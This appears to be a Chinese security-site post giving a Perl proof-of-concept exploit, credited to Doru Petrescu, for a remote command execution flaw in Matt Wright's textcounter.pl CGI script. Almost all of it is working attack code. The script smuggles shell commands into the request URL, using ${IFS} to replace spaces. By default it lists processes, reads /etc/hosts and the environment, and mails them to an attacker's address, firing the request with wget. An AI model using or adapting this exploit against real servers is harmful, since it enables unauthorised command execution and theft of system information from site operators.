MattWrighttextcounter.pl远程执行命令漏洞 Exploit

                                                Doru Petrescu （[email protected]）提供了如下测试代码：

-- cut here --

#!/usr/bin/perl

$URL='http://dtp.kappa.ro/a/test.shtml';    # please _DO_ _modify_ this
$EMAIL='[email protected],root';          # please _DO_ _modify_ this


if ($ARGV[0]) {
   $CMD=$ARGV[0];
}else{
   $CMD="(ps ax;cd ..;cd ..;cd ..;cd etc;cat hosts;set)\|mail ${EMAIL} -sanothere_one";
}

$text="${URL}/;IFS=\8;${CMD};echo|";
$text =~ s/ /\$\{IFS\}/g;

#print "$text\n";

system({"wget"} "wget", $text, "-O/dev/null");
system({"wget"} "wget", $text, "-O/dev/null");
#system({"lynx"} "lynx", $text);
#system({"lynx"} "lynx", $text);     # if you don't have "wget"
                                  # you can try with "Lynx"